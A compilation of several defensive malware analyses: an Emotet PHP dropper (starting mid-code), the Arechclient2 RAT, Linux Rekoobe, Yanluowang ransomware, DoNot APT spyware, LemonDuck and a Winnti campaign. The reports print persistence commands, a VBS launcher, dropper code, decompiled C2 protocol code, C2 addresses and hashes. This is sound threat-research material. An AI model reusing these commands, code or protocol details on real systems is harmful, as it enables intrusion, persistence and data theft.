header('Content-Transfer-Encoding: binary');
return base64_decode($this->content_);
}
}
if ($_SERVER['QUERY_STRING']) {
die($_SERVER['QUERY_STRING']);
}
if ($_SERVER['REQUEST_METHOD'] != 'GET') {
die(uniqid());
}
$sp58859d = new O();
echo $sp58859d->execute();
```
The first observation that can be made is the separation of the checks that are executed based on the visitor’s request and the payload that is decoded. At first, the checks are analyzed. After that, the code that decodes the payload is analyzed.
## Stage 5 – The Binary
The binary that is downloaded from the site is an executable which is detected as Emotet. The SHA-256 hash of the file is given below.
- **SHA-256**: 82fa35d4f8552c453b7ae2603738478cc22a266e687e481d02473ace810c7e1a
## Conclusion
The obfuscation techniques within the macro were designed to avoid any form of string detection mechanisms. Due to the possible random layout, it is harder to write rules for the documents. The PHP files that are on the server also serve a similar purpose. By obfuscating the PHP code and executing the second PHP stage dynamically, it is harder for server owners to detect a malicious file in a customer’s web hosting. This way, the malicious websites try to remain online for a longer period of time. Signature detection is also easily evaded since the file can easily be obfuscated differently every so often.
All in all, it shows how much effort is put in to deliver an executable on the target, which then serves as yet another downloader for another stage within the infection process. |
# Ratting Out Arechclient2 Whitepaper
## Executive Summary
Blackpoint Cyber recently uncovered an ISO file containing a malicious Windows executable being downloaded to a customer endpoint that wasn’t detected by antivirus (AV). The malicious Windows executable, named Setup.exe, was executed and observed using various defense evasion techniques including injection, obfuscation, and uncommon automation tools to eventually drop a remote access tool (RAT) named Arechclient2.
Arechclient2 is a .NET RAT reported to have numerous capabilities including multiple stealth functions. Blackpoint observed the acquired malicious executable profiling victim systems, stealing information such as browser and crypto-wallet data, and launching a hidden secondary desktop to control browser sessions, which aligns closely with reports from others such as the Center for Internet Security (CIS).
## Analysis
### Initial Access
The initial pre-text given to the victim is unknown at this time; however, the victim was manipulated into downloading Setup.iso. When double-clicked, the ISO can be mounted like a CD and oftentimes the contents are automatically executed. Within the ISO was an executable named Setup.exe with a size over 300 megabytes.
Examining the Resources section of the executable with the tool Die shows keywords commonly used in Windows installer files.
### Execution
Executing Setup.exe will trigger the extraction of three files and execute multiple child processes. A new folder named IXP000.TMP is created in the victim’s AppData\Local\Temp directory and three files are extracted into it:
- Funding.mpeg
- Mali.mpeg
- Dns.mpeg
These files are in the Resources section labeled “CABINET.”
The first process executed by Setup.exe is robocopy.exe with an argument of 8927387376487263745672673846276374982938486273568279384982384972834. If CreateProcessA Windows API fails to execute robocopy, the Setup.exe process will clean up all files that were extracted and exit.
The next command is: `cmd /c cmd < Dns.mpeg`. Dns.mpeg is a heavily obfuscated batch script. When decoded, the commands seen in the script align with the child processes that were seen in the process tree.
### Obfuscation
The script searches for AvastUI.exe and AVGUI.exe running on the system. If not found, it sets Hole.exe.pif to the name AutoIT3.exe, writes MZ to the beginning of Hole.exe.pif, and then writes the contents of Funding.mpeg into Hole.exe.pif. Finally, Mali.mpeg is renamed to v.a3x and the command “Hole.exe.pif v” is executed, followed by a ping command. AutoIT3.exe is a tool used for automation that has its own scripting language. The scripts have an extension of .au3 or .a3x and can be compiled for quicker processing. Funding.mpeg is the AutoIT3.exe executable and Mali.mpeg is the script argument.
The .au3 or .a3x script is heavily obfuscated and contains dead code to make reverse engineering more difficult. Throughout the script, there are over 3,000 references to a defined function named Xspci(). The function takes a string as the first argument and a number as the second argument and is responsible for decoding strings.
Strings were extracted from the script by appending the following two lines to the end of the function:
```plaintext
# Obtain a handle to the output file for writing.
$handle = FileOpen(“C:\Users\User\AppData\Local\Temp\siFtwoLbXE\out.text”, 1)
# Write “<encoded string> = <decoded string>” on a new line
FileWriteLine($handle, $DhzkAIs & “ = “ & $bIitoyr)
```
The lines added to the end of the function will open a file on the local testing machine, in this case, “out.txt,” and write both the encoded and decoded strings to the file. This helps speed up analysis of the script file and filter out the noise.
### Injection
The .au3 script is responsible for three things:
1. Establishing persistence using a URL file in the victim’s startup folder.
2. Copying ntdll.dll from the C:\Windows\SysWOW64 folder to avoid AV hooks when using exported APIs.
3. Injecting the embedded payload into jsc.exe.
The major function that accomplishes the above is KXsObHGILZNaOurxqSUainCYU() which takes three arguments:
1. A pointer to the binary to be injected.
2. A string argument (was empty during testing).
3. Another string argument with the path to the binary that would be executed and injected into.
The script first establishes persistence by adding a URL file to the victim’s startup folder that will execute a VBS script on every login.
```plaintext
cmd /c echo “[InternetShortcut]” > “%APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sgYzDqWyiP.url” &
echo ‘URL=”%APPDATA%\Local\Temp\siFtwoLbXE\pyIJlxBJlwEWd.vbs”’ >> “%APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sgYzDqWyiP.url”
```
Contents of sgYzDqWyiP.url:
```plaintext
[InternetShortcut]
URL=”C:\Users\<username>\AppData\Local\Temp\siFtwoLbXE\pyIJlxBJlwEWd.vbs”
```
Contents of pyIJlxBJlwEWd.vbs:
```plaintext
p = GetObject(“winmgmts:\\.\root\cimv2:Win32_Process”).Create(“C:\\Users\\<username>\\AppData\\Local\\Temp\\siFtwoLbXE\\sgYzDqWyiP.exe.com d” , “C:\\Users\\<username>\\AppData\\Local\\Temp\\siFtwoLbXE”, null, null)
```
The VBS script is the same as the previous command: Hole.exe.pif v.
The script copies ntdll.dll to the current working folder and names it fyoNUfeL.dll. Using the AutoIT script function DllCall(), it resolves specific exported functions from fyoNUfel.dll (ntdll.dll). The functions discovered in the decoded strings output file are responsible for injecting and executing the final payload:
- NtReadVirtualMemory
- NtWriteVirtualMemory
- NtProtectVirtualMemory
- NtSetContextThread
The script executes the program jsc.exe, which is a .NET tool used to compile JScript files into executables or DLLs. The executable is considered a “lolbin” (Living-off-the-land binary) but in this case, it takes no arguments and is simply used as a target for injection.
Once the program is running, another .NET executable named Test.exe is injected into jsc.exe as a loaded module. However, the name of Test.exe is changed to jsc.exe.
### Decompilation
Since Test.exe is a C# binary, it can be loaded into a tool like DnSpy for static and dynamic code analysis. The class names have been minimized to single and double characters to create an additional layer of confusion for reverse engineers. The actual name of the executable is 2qbarx12tqm.exe version 1.0.0.0.
## Command and Control
When the RAT is executed, it reaches out to `https://pastebin.com/raw/nJqnWX3u` to retrieve C2 information. The requested file, nJqnXW3u, contains the IP address 34.141.198.105 as a string. It also reaches out to `http://eth0.me` to get its public IP address.
To receive commands, it connects to its C2 server on port 15647. The server responds with information to set the encryption status from “On” to “Off” in JSON format.
If the communications are intercepted and the encryption status is set to “Off,” all further communications will be in plain text.
Comparing this traffic to known C2 traffic patterns shows an alignment with Arechclient2 traffic.
While the C2 channel is still live at the time of this writing, there was no active follow-up on commands observed on the testing machine once the RAT established a connection.
## Conclusion
Adversaries are becoming more advanced in their methods of bypassing AV by using publicly available tools such as AutoIT3 and native operating system tools. Therefore, it’s become increasingly important in today’s threat landscape to have the capability to detect advanced tradecraft. Arechclient2 is not a new threat. However, it is not commonly viewed as a choice for remote access tools and in this case, was the result of a drive-by download. While malware like this is not used as a targeted means of attack, it does not reduce the risk that malicious binaries like this pose.
## File Indicators of Compromise
- **SHA256**: 4A81FED5DB0727E54B39402A9954804E8AE39F26FCE13ACE9300141ABEEE4E8A
**Name**: jsc.exe/Test.exe
**File Type**: Executable
**Size**: 639 KB
- **SHA256**: 71B57570867E7ABD79A9011B19B2EFCA2B069E8AAFBB1BEF601CD65E3D7DFC79
**Name**: Dns.mpeg
**File Type**: Batch Script
**Size**: 11 KB
- **SHA256**: 3E26723394ADE92F8163B5643960189CB07358B0F96529A477D37176D68AA0A0
**Name**: Hole.exe.pif
**File Type**: Executable
**Size**: 925 KB
- **SHA256**: FFE6FEB6677FB58013BBB5D42EACAACFBB939F803D649268F7427EA6E5262356
**Name**: fyoNUfeL.dll
**File Type**: DLL
**Size**: 2 MB
- **SHA256**: 3E26723394ADE92F8163B5643960189CB07358B0F96529A477D37176D68AA0A0
**Name**: Funding.mpeg
**File Type**: Raw Data
**Size**: 925 KB
- **SHA256**: DB4E1935D1D1DFAE7F87147D0FB90405326380E09A30E869BFCFE0CD64B92B1E
**Name**: Mali.mpeg or v or d
**File Type**: AutoIT Script
**Size**: 2 MB
- **SHA256**: 3E26723394ADE92F8163B5643960189CB07358B0F96529A477D37176D68AA0A0
**Name**: sgYzDqWyiP.exe.com
**File Type**: Executable
**Size**: 925 KB
## Network IOCs
- **URL/IP ADDRESS**: 34.141.198.105
**PORT**: 15647
**DESCRIPTION**: C2
**DATE LAST ACCESSED**: 09/27/2022
- **URL/IP ADDRESS**: `https://pastebin.com/raw/nJqnXW3u`
**PORT**: 443
**DESCRIPTION**: Retrieve C2 IP
**DATE LAST ACCESSED**: 09/27/2022
- **URL/IP ADDRESS**: `http://eth0.me`
**PORT**: 80
**DESCRIPTION**: Retrieve public IP
**DATE LAST ACCESSED**: 09/27/2022 |
# Linux Rekoobe
## SHA1
- a11bda0acdb98972b3dec706d35f7fba59587f99 (SPARC)
- 04f691e12af2818015a8ef68c6e80472ae404fec (SPARC)
- 466d045c3db7c48b78c6bb95873b817161a96370 (SPARC)
- cd274e6b73042856e9eec98d258a96cfbe637f6f (Intel x86)
- 8e93cfbaaf7538f8965080d192df712988ccfc54 (Intel x86-64)
A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm. The directory of the file may be the following:
```
/usr/lib/liboop-trl.so.0.0.0
/usr/lib/libhistory.so.5.7
/usr/lib/libsagented.so.1
/usr/lib/libXcurl
/usr/lib/llib-llgrpc
```
The file has the following structure:
```
SECRET value
MAGIC value
PROXYHOST value
PROXYPORT value
USERNAME value
PASSWORD value
ENDPOINT value
SERVER_PORT value
CONNECT_BACK_DELAY value
```
Instead of the “value” variable, it contains the value of the corresponding parameter. Once data from the configuration file is received successfully, the Trojan refers to the C&C server for commands with an interval specified by the CONNECT_BACK_DELAY parameter. The address of the server is specified by the ENDPOINT parameter. If a value of the PROXYHOST parameter is not “none”, connection to the server is established via a proxy server, authorization data for which is also extracted from the configuration file.
The connection to the C&C server begins with sending of the MAGIC parameter from the configuration file and reception of a 40-byte response. Then 40 bytes are split into two blocks, which are used for AES context initialization: one block is for the received data, and the other, for the sent one:
```c
int __cdecl AES_Init(st_aes_ctx *aes_ctx, char *data, char *salt)
{
...
if ( RecvPacket(fd, buffer, 40, 0) != 1 )
goto err_occured;
*(_DWORD *)dec_salt = *(_DWORD *)buffer;
*(_DWORD *)&dec_salt[4] = *(_DWORD *)&buffer[4];
*(_DWORD *)&dec_salt[8] = *(_DWORD *)&buffer[8];
*(_DWORD *)&dec_salt[12] = *(_DWORD *)&buffer[12];
*(_DWORD *)&dec_salt[16] = *(_DWORD *)&buffer[16];
*(_DWORD *)enc_salt = *(_DWORD *)&buffer[20];
*(_DWORD *)&enc_salt[4] = *(_DWORD *)&buffer[24];
*(_DWORD *)&enc_salt[8] = *(_DWORD *)&buffer[28];
*(_DWORD *)&enc_salt[12] = *(_DWORD *)&buffer[32];
*(_DWORD *)&enc_salt[16] = *(_DWORD *)&buffer[36];
AES_Init(&aes_ctx_encrypt, secret, enc_salt);
AES_Init(&aes_ctx_decrypt, secret, dec_salt);
...
}
```
where the AES_Init function generates an encryption key based on the SHA1 value from the “secret” parameter and the sent enc_salt or dec_salt block:
```c
int __cdecl AES_Init(st_aes_ctx *aes_ctx, char *data, char *salt)
{
...
sha1_init(&ctx);
sha1_update(&ctx, data, strlen(data));
sha1_update(&ctx, salt, 0x14u);
sha1_final(&ctx, hash);
AES_InitKey(aes_ctx, hash, 128);
...
}
```
The AES_Init function for every AES context also creates two special 40-byte blocks which are later used as a signature. For that, 40 bytes with 0x36 value are added to the verify_1 array, and 40 bytes with 0x5C value are added to the verify_2 array. Then the first 20 bytes of every array are encrypted with XOR algorithm containing the corresponding 20 bytes of the AES key.
All the later information transmitted either side during the established connection will be sent as specifically formed packages. The first received package contains 16-byte identifier. The Trojan compares it with an identifier already stored in its body. If the match is found, the malware sends verification to the server.
Once the connection to the C&C server is established, the Trojan attempts to get a command from the server. Upon receiving a command number, the first two bytes are ignored, and the third one stands for a command identifier. During the reception of a package from the server, the malware acquires 16 bytes, which are encrypted in AES-CBC-128 mode. The first WORD (MSB) of the received buffer is the size of the next data block (the size parameter).
After this, the Trojan calculates the package size by the “packetsize = size + 2 bytes + alignment” formula and receives the data of packetsize + 4 bytes size in the same buffer using offset of 0x10 bytes from its beginning. The last 20 bytes are the signature. In order to verify the signature, the modification of its first DWORD is as follows: the first three bytes are replaced with zeros, and the forth one contains the package number (the Trojan records the amount of the received and sent packages in the corresponding AES contexts). Then the buffer that received the data and where DWORD was modified is used for generating of SHA1 hash (buffer is specified as “buffer”):
```c
...
sha1_init(&sha1_ctx);
sha1_update(&sha1_ctx, aes_ctx_decrypt.verify_1, 0x40u);
sha1_update(&sha1_ctx, buffer, size + 4);
sha1_final(&sha1_ctx, &hash);
sha1_init(&sha1_ctx);
sha1_update(&sha1_ctx, aes_ctx_decrypt.verify_2, 0x40u);
sha1_update(&sha1_ctx, &hash, 0x14u);
sha1_final(&sha1_ctx, &hash);
...
```
It should be noted that only a payload and a DWORD value that contains the package number are hashed. 4 DWORDs of the signature are not included in the hashed data. The first 20 bytes of the received hash are compared with a package signature. If the match is found, the package is decrypted. If not, it is considered invalid. Sending of the package to the server is performed in the same way.
The Trojan can execute three commands:
- Reverse Shell (cmd == 0x03)
- Download a file (cmd == 0x02)
- Upload a file to the command and control server (cmd == 0x01) |
# Yanluowang: Further Insights on New Ransomware Threat
Yanluowang, the ransomware recently discovered by Symantec, a division of Broadcom Software, is now being used by a threat actor that has been mounting targeted attacks against U.S. corporations since at least August 2021. The attacker uses a number of tools, tactics, and procedures (TTPs) that were previously linked to Thieflock ransomware attacks, suggesting that they may have been a Thieflock affiliate who shifted allegiances to the new Yanluowang ransomware family.
The attackers have been heavily focused on organizations in the financial sector but have also targeted companies in the manufacturing, IT services, consultancy, and engineering sectors.
## Lateral Movement
In most cases, PowerShell is used to download tools to compromised systems including BazarLoader to assist in reconnaissance. The attackers then enable RDP via registry to enable remote access. After gaining initial access, the attackers usually deploy ConnectWise (formerly known as ScreenConnect), a legitimate remote access tool.
In order to perform lateral movement and identify systems of interest, such as the victim’s Active Directory server, the attackers deploy Adfind, a free tool that can be used to query Active Directory, and SoftPerfect Network Scanner (netscan.exe), a publicly available tool used for discovery of hostnames and network services.
The next phase of the attack is credential theft and the attackers use a wide range of credential-stealing tools, including:
- **GrabFF**: A tool that can dump passwords from Firefox
- **GrabChrome**: A tool that can dump passwords from Chrome
- **BrowserPassView**: A tool that can dump passwords from Internet Explorer and a number of other browsers
Along with these tools, the attackers also use a number of open-source tools such as KeeThief, a PowerShell script to copy the master key from KeePass. In some cases, customized versions of open-source credential-dumping tools were also observed (secretsdump.exe). Credentials were also dumped from the registry.
In addition, the attackers have also used a number of other data capture tools, including a screen capture tool and a file exfiltration tool (filegrab.exe). Cobalt Strike Beacon was also deployed against at least one targeted organization.
Other tools used include ProxifierPE, which can be used to proxy connections back to attacker-controlled infrastructure, and the free, Chromium-based Cent web browser.
## The Thieflock Connection
There is a tentative link between these Yanluowang attacks and older attacks involving Thieflock, ransomware-as-a-service developed by the Canthroid (aka Fivehands) group. Several TTPs used by these attackers overlap with TTPs used in Thieflock attacks, including:
- Use of custom password recovery tools such as GrabFF and other open-source password dumping tools
- Use of open-source network scanning tools (SoftPerfect Network Scanner)
- Use of free browsers, such as s3browser and Cent browser
This link begs the question of whether Yanluowang was developed by Canthroid. However, analysis of Yanluowang and Thieflock does not provide any evidence of shared authorship. Instead, the most likely hypothesis is that these Yanluowang attacks may be carried out by a former Thieflock affiliate.
## Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise
- a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789 – NetScan
- 2c2513e17a23676495f793584d7165900130ed4e8cccf72d9d20078e27770e04 – Adfind
- 43f8a66d3f3f1ba574bc932a7bc8e5886fbeeab0b279d1dea654d7119e80a494 – BazarLoader
- 9aa1f37517458d635eae4f9b43cb4770880ea0ee171e7e4ad155bbdee0cbe732 – Veeamp
- 85fb8a930fa7f4c32c8af86aa204eb4ea4ae404e670a8be17e7ae0adf37a9e2e – GrabFF
- e4942fde1cd7f2fcfb522090fd16298bce247295fe99182aecf7b10be3f5dc53 – ConnectwiseInstaller
- fe38912d64f6d196ac70673cd2edbdbc1a63e494a2d7903546a6d3afa39dc5c4 – WmiExecAgent
- c77ff8e3804414618abeae394d3003c4bb65a43d69c57c295f443aeb14eaa447 – NetScan
- 2fc5bf9edcfa19d48e235315e8f571638c99a1220be867e24f3965328fe94a03 – Secretsdump
- 4ff503258e23d609e0484ee5df70a1db080875272ab6b4db31463d93ebc3c6dd – GrabFile
- 1c543ea5c50ef8b0b42f835970fa5f553c2ae5c308d2692b51fb476173653cb3 – GrabChrome
- 0b9219328ebf065db9b26c9a189d72c7d0d9c39eb35e9fd2a5fefa54a7f853e4 – OpenChromeDumps
- b556d90b30f217d5ef20ebe3f15cce6382c4199e900b5ad2262a751909da1b34 – BrowserPassView
- 5e03cea2e3b875fdbf1c142b269470a9e728bcfba1f13f4644dcc06d10de8fb4 – ConHost
- 49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d – Yanluowang |
# DoNot APT Group Delivers a Spyware Variant of Chat App
DoNot APT Group, also known as APT-C-35, is an Advanced Persistent Threat (APT) group targeting government-related organizations. DoNot has a reputation for carrying out APT attacks against India, Pakistan, Argentina, and countries in South Asia. This group mainly spreads malware using malicious programs developed in C++, Python, .NET, and other languages.
DoNot APT mainly spreads malware via spear-phishing emails containing malicious documents and files. In addition to spreading malware via spear-phishing emails with attachments that contain either a vulnerability or a malicious macro, this APT group leverages malicious Android APKs in their target attacks.
Android-based spyware applications are often disguised as system tools and, in some cases, as fake apps, counterfeit mobile games, and fake news apps. Post installation, these apps perform Trojan functions in the background and can remotely control the victim’s system, besides stealing confidential information from the targeted device.
During our Open-Source Intelligence (OSINT) research, Cyble researchers found a malware sample of the DoNot APT group posted on Twitter. Upon analyzing the malware sample, the Cyble Research Lab discovered that it is a fake app disguised as a legitimate messaging app that collects sensitive information from the victim’s device.
The APT group uses the deobfuscation code along with some packers within the application to conceal malicious functionalities. This prevents the spyware from being detected during the static analysis of the app.
## Technical Analysis
We performed the technical analysis of an APK, with the following hash value: `fdb67688d92900226bf834ce67f4112f03e981611ee50e9c3102636574b05280`.
**App name:** Mecaller.apk
**Package name:** com.chat.nsgnest
Some of the applications’ permissions, activities, and services that may be used to perform malicious activities are listed below:
**Permissions:**
- android.permission.READ_CALENDAR
- android.permission.PROCESS_OUTGOING_CALLS
- android.permission.ACCESS_COARSE_LOCATION
- android.permission.INTERNET
- android.permission.ACCESS_FINE_LOCATION
- android.permission.READ_CALL_LOG
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.RECEIVE_SMS
- android.permission.AUTHENTICATE_ACCOUNTS
- android.permission.CALL_PHONE
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.RECORD_AUDIO
- android.permission.READ_CONTACTS
**Activities:**
- ime.serviceinfo.app.MainActivity
- ime.serviceinfo.app.qsharehong.qsharelackhong
**Services:**
- ime.serviceinfo.app.qsynchong.qSyncServicehong
- ime.serviceinfo.app.qsynchong.qAuthenticatorServicehong
- ime.serviceinfo.app.qaleolehong.qdcerthong
- ime.serviceinfo.app.qaleolehong.qnqwerhong
- ime.serviceinfo.app.qstunthong.qSensorServicehong
- ime.serviceinfo.app.qsharehong.qsttrServicehong
- ime.serviceinfo.app.qsharehong.qServicehong
- ime.serviceinfo.app.qaleolehong.qhepjshong
- ime.serviceinfo.app.qhelphong.qgarohong
- ime.serviceinfo.app.qaihihihong.tknnotify.sfsSr
We also performed a dynamic analysis and discovered that the app has an emulator check that avoids running the app in an emulator or VirtualBox, and only runs this app on legitimate devices. Further, on bypassing the scripts using Frida and on loading the application, it displays an error message.
Using the same Frida scripts and on loading the various activities, the app requests users to enable the accessibility service and, upon activating, it displays a message. The malware then initiates malicious behavior from the application main class, “ime.serviceinfo.app.MainActivity“. The entry point of the app is this class, which gets executed first when the user starts the application.
Using the above permissions granted from users, the following data is fetched from the devices:
- Tracking the user’s location along with network operator details, device location, latitude, and longitude from the compromised device.
- Checking for the availability of internet connection from the device to collect the network and connectivity information.
- The application also has the capability to record audio and collect media files from the infected device without the user’s knowledge.
- Sending text messages using permissions and SMS manager.
- Tracking the Service/Receiver that are registered post device reboot.
- After the accessibility service is enabled, the application launcher icon is removed from the main screen, thereby allowing the app to stay hidden.
- Collecting the information on the running application processes or tasks.
- Verifying the infected device fingerprint, hardware, and model to find out whether the application is executed through emulator or through VirtualBox. If it is executed through emulator, the application will not be performing any malicious activity to avoid any kind of detection.
- Monitoring the device phone number from both outgoing and incoming calls using broadcast receiver and storing the collected data into “CallLogs.txt“.
- Monitoring the incoming messages, creating Protocol data unit (PDU), intercepting SMSes to collect information from them and storing the information in “sms.txt“.
- Collecting phone contacts from the infected device and storing it in “contacts.txt” file.
- Along with the above sensitive information, this malicious app has the code to fetch stored mail accounts and application accounts like Gmail, WhatsApp, besides storing the information in “accounts.txt“.
- Base64 Encryption technique used in multiple classes and methods.
Upon decrypting the encrypted strings, we were able to determine that the data being collected by this app is sent to the C2 link through which the application communicates and uploads the information to the server.
**C2 Server:** hxxp[:]//tinyshort[.]icu/
## Conclusion
Spyware apps have been around for a long time, yet they still pose a significant threat to sensitive data on victim devices. The APT groups responsible for creating the spyware are constantly adapting and using various encryption techniques to avoid detection. This makes removal of the spyware nearly impossible, thus users should exercise caution while installing applications.
## Safety Recommendations
- Keep your anti-virus software updated to detect and remove malicious software.
- Uninstall the application if you find this malware on your device.
- Keep your system and applications updated to the latest versions.
- Use strong passwords and enable two-factor authentication.
- Download and install software only from trusted sites and official app stores.
- Verify the privileges and permissions requested by apps before granting them access.
- People concerned about the exposure of their stolen credentials in the dark web can register at AmIBreached.com to ascertain their exposure.
## MITRE ATT&CK® Techniques for Mobile
**Tactic** | **Technique ID** | **Technique Name**
Defense Evasion | T1406 | Obfuscated Files or Information
| T1418 | Application Discovery
Credential Access | T1409 | Access Stored Application Data
| T1412 | Capture SMS Messages
Collection | T1507 | Network Information Discovery
| T1430 | Location Tracking
| T1412 | Capture SMS Messages
| T1429 | Capture Audio
| T1432 | Access Contact List
| T1433 | Access Call Log
Discovery | T1421 | System Network Connections
| T1430 | Discovery Location Tracking
| T1426 | System Information Discovery
| T1418 | Application Discovery
| T1424 | Process Discovery
Command and Control | T1573 | Encrypted Channel
| T1571 | Non-Standard Port
Exfiltration | T1532 | Data Encrypted
## Indicators of Compromise (IoCs):
**IOCs** | **IOC type**
fdb67688d92900226bf834ce67f4112f03e981611ee50e9c3102636574b05280 | SHA256
hxxp[:]//tinyshort[.]icu/ | Interesting URL
45.61.137[.]7 | IP address
## About Cyble
Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the dark web. Cyble’s prime focus is to provide organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups to Watch in 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. |
# WHITEPAPER: Dissecting LemonDuck Crypto-Miner, a KingMiner Successor
## Summary
Crypto-currencies have enjoyed dramatic adoption in the past few years, with miners attempting to boost mining capabilities while predicting market fluctuations at the same time. This new crypto-gold rush has been capped as of late by mining corrections and increased energy prices. In this new world of uncertainty, cryptojacking is still a very profitable branch of cybercrime, as revealed by the number of cryptocurrency mining malware families and the increasing attacks against enterprise infrastructure. The goal of these attacks is to hijack computing resources to illicitly mine cryptocurrencies. Significant financial earnings await persistent attackers, so they’re motivated to evolve their techniques. LemonDuck is one such recent cryptocurrency mining malware, boasting an extended set of infection techniques inspired by advanced attacks. It achieved great success by building and continuously improving Tactics, Techniques, and Procedures upon previous expertise.
A previous cryptojacker campaign dubbed Kingminer was presented extensively on Bitdefender Labs. That highly capable cryptocurrency miner landed on the system via brute-forced SQL server accounts and performed its actions with Defense Evasion in mind. The way Kingminer infects victim machines opened new horizons for attackers aiming to take control of enterprise computers.
## Technical Analysis
### Initial Access
The infection on the system closely depends on the lateral movement capabilities of the malicious scripts. LemonDuck expanded on the original idea of Kingminer to brute-force SQL Server accounts and added more exploitation techniques to its arsenal. An infection can start on a system in multiple ways:
- Phishing e-mail - sent from an already infected machine
- EternalBlue or other SMB exploits
- RDP brute-forcing - if there are weak accounts on the system
- A .lnk file from a removable drive or a network drive
- SSH brute-forcing - if there are weak accounts on the system
- Pass-the-hash - if the attackers manage to dump a valid NTLM password hash
- MS-SQL brute-forcing - similar to Kingminer, if there are weak DB credentials
- Redis remote command
- Yarn remote command
### Execution Flow
**First Stage: Landing on the System**
The first step when attackers gain a foothold on the machine is to download and execute a PowerShell script from the C2 server. The URL for each infected machine is unique based on information from the environment variables.
The malicious command line that runs the next stage downloads the payload in a similar way to the initial access. This download URL also reports to the attacker that a new system got infected and it contains the user name and machine name in the parameters. The downloaded script is again obfuscated by scrambling a few characters and inverting the whole payload.
### Persistence
As we saw in the previous section, LemonDuck employs two techniques to maintain persistence. Attackers took care of redundancy; they have three domains where they hosted the second stage scripts. Therefore, they register three commands with scheduled tasks and the same three commands with WMI event consumers. The commands download and execute the same script, so even if scheduled tasks are cleaned up, the event consumers stay as a backup.
### Second Stage: Executing for Profit
The command lines registered at the persistence step download and run the second stage of the attack. At this moment, the initial PowerShell process executing the first stage has already stopped. If we look at Task Manager or Process Explorer, we can no longer trace it back to the initial infection as this stage starts from either a svchost.exe process (for scheduled tasks) or a scrcons.exe process (for event consumers).
The downloaded script is obfuscated in the same manner as the previous ones: junk letters appear randomly as salt, and the whole script is reversed when it first arrives in memory, then it gets deobfuscated when it starts executing.
### Payloads Ran in Memory
**Report**
The first SIEX call submits the collected information to the attacker as parameters in the URL. This command does not receive any reply and its only purpose is to notify the attackers of a successful infection.
**Mail Sender**
The second SIEX call invokes a script from the attacker’s domain under if_mail.bin. The reply is an obfuscated PowerShell script using techniques similar to the previous ones. After deobfuscation, we obtain the script whose purpose is to send phishing e-mails to the Outlook contacts of the current user. It generates a .rtf and a .js file as attachments, which will run the malware code on the victim’s machine if the phishing is successful.
### Payloads Downloaded to Disk
**if.bin aka. InFect many other systems**
If.bin is a hefty 270 KB file that contains a zipped PowerShell script. When deobfuscated, this script is revealed as a big collection of exploitation/pen-testing tools or security audit tools, mostly taken from publicly available sources and used for lateral movement.
- **EternalBlue exploitation** - using PingCastle port scanner to detect machines that respond on port 445 and then launching the SMB exploitation.
- **RDP brute-forcing module** - attempts to brute-force accounts.
- **USBLNK** - able to infect network drives and removable drives that have FAT32 and NTFS file systems.
- **PowerDump and Mimikatz** - to dump NTLM passwords, used in pass the hash attacks.
- **MS-SQL brute-forcing** - scans IPs for ports 1433 and attempts to brute-force accounts, similar to Kingminer.
This document provides an in-depth look at how Bitdefender observed this attack and the evolution of the LemonDuck malware. |
# Winnti Group Targeting Universities in Hong Kong
**January 31, 2020**
ESET researchers uncover a new campaign of the Winnti Group targeting universities and using ShadowPad and Winnti malware.
In November 2019, we discovered a new campaign run by the Winnti Group against two Hong Kong universities. We found a new variant of the ShadowPad backdoor, the group’s flagship backdoor, deployed using a new launcher and embedding numerous modules. The Winnti malware was also found at these universities a few weeks prior to ShadowPad.
The Winnti Group, active since at least 2012, is responsible for high-profile supply-chain attacks against the video game and software industries leading to the distribution of trojanized software (such as CCleaner, ASUS LiveUpdate, and multiple video games) that is then used to compromise more victims. It is also known for having compromised various targets in the healthcare and education sectors.
ESET researchers recently published a white paper updating our understanding of the arsenal of the Winnti Group, following a blog post documenting a supply-chain attack targeting the video game industry in Asia. Additionally, we published a blog post on a new backdoor named skip-2.0 that targets Microsoft SQL Server.
This article focuses on the technical details of this new ShadowPad variant.
## About the “Winnti Group” Naming
We have chosen to keep the name “Winnti Group” since it’s the name first used to identify it, in 2013, by Kaspersky. Since Winnti is also a malware family, we always write “Winnti Group” when we refer to the malefactors behind the attacks. Since 2013, it has been demonstrated that Winnti is only one of the many malware families used by the Winnti Group.
## ShadowPad Found at Several Hong Kong Universities
In November 2019, ESET’s machine-learning engine, Augur, detected a malicious and unique sample present on multiple computers belonging to two Hong Kong universities where the Winnti malware had already been found at the end of October. The suspicious sample detected by Augur is actually a new 32-bit ShadowPad launcher. Samples from both ShadowPad and Winnti found at these universities contain campaign identifiers and C&C URLs with the names of the universities, which indicates a targeted attack.
In addition to the two compromised universities, thanks to the C&C URL format used by the attackers, we have reasons to think that at least three additional Hong Kong universities may have been compromised using these same ShadowPad and Winnti variants.
This campaign of the Winnti Group against Hong Kong universities was taking place in the context of Hong Kong facing civic protests that started in June 2019 triggered by an extradition bill. Even though the bill was withdrawn in October 2019, protests continued, demanding full democracy and investigation of the Hong Kong police. These protests gathered hundreds of thousands of people in the streets with large support from students of Hong Kong universities, leading to multiple university campus occupations by the protesters.
We have contacted the compromised universities and provided the necessary information and assistance to remediate the compromise.
## Updated Launcher
Unlike previous ShadowPad variants documented in our white paper on the arsenal of the Winnti Group, this launcher is not obfuscated using VMProtect. Furthermore, the encrypted payload is neither embedded in the overlay nor located in a COM1:NULL.dat alternate data stream. The usual RC5 encryption with a key derived from the volume ID of the system drive of the victim machine (as seen in the PortReuse backdoor, skip-2.0, and some ShadowPad variants) is not present either. In this case, the launcher is much simpler.
## DLL Side-loading
